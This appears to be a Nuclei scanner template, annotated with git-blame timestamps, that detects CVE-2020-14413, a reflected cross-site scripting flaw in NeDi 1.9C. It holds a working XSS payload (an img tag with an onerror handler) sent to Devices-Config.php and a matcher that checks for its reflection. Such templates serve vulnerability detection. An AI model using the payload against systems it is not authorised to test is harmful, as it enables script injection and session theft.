nuclei-templates/http/cves/2020/CVE-2020-14413.yaml

51 lines
2.0 KiB
YAML
Raw Normal View History

2021-03-08 05:28:55 +00:00
id: CVE-2020-14413
info:
name: NeDi 1.9C - Cross-Site Scripting
2021-03-08 05:28:55 +00:00
author: pikpikcu
severity: medium
description: NeDi 1.9C is vulnerable to cross-site scripting because of an incorrect implementation of sanitize() in inc/libmisc.php. This function attempts to escape the SCRIPT tag from user-controllable values, but can be easily bypassed, as demonstrated by an onerror attribute of an IMG element as a Devices-Config.php?sta= value.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to a patched version of NeDi or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://gist.github.com/farid007/8db2ab5367ba00e87f9479b32d46fea8
- https://nvd.nist.gov/vuln/detail/CVE-2020-14413
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-14413
cwe-id: CWE-79
epss-score: 0.00095
2024-05-31 19:23:20 +00:00
epss-percentile: 0.40142
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:nedi:nedi:1.9c:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: nedi
product: nedi
tags: cve,cve2020,nedi,xss
2021-03-08 05:28:55 +00:00
http:
2021-03-08 05:28:55 +00:00
- method: GET
path:
2021-03-09 09:15:03 +00:00
- '{{BaseURL}}/Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
2021-03-08 05:28:55 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-03-08 05:28:55 +00:00
words:
- "<img src=x onerror=alert(document.domain)>"
2021-03-09 09:15:03 +00:00
- type: word
part: header
words:
- "text/html"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100a25b67d8e501fe54a9736f4b60284269c3b3ce22055d5909a746b02bd595b7d70220335a4d343367dbfe91fedd1ae1344d4196d2a81e16b66e21c40e8d4b548e1827:922c64590222798bb761d5b6d8e72950